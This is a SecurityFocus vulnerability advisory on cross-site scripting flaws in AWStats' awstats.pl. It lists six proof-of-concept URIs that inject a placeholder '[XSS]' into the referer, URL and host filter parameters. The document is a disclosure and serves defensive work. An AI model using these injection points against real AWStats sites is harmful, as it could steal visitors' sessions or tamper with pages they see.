AWStats AWstats.PL Multiple Cross-Site Scripting Vulnerabilities

This issue can be exploited through a web client.

The following proofs-of-concept URI are available:

http://www.example.com/awstats.pl?refererpagesfilter=[XSS]&refererpagesfilterex=&output=refererpages&config=unsecured-systems.com&year=2006&month=all
http://www.example.com/awstats.pl?refererpagesfilter=&refererpagesfilterex=[XSS]&output=refererpages&config=unsecured-systems.com&year=2006&month=all
http://www.example.com/awstats.pl?urlfilter=&urlfilterex=[XSS]&output=urlentry&config=unsecured-systems.com&year=2006&month=all
http://www.example.com/awstats.pl?urlfilter=[XSS]&urlfilterex=&output=urlentry&config=unsecured-systems.com&year=2006&month=all
http://www.example.com/awstats.pl?hostfilter=[XSS]&hostfilterex=&output=allhosts&config=unsecured-systems.com&year=2006&month=all
http://www.example.com/awstats.pl?hostfilter=&hostfilterex=[XSS]&output=allhosts&config=unsecured-systems.com&year=2006&month=all


 

Privacy Statement
Copyright 2010, SecurityFocus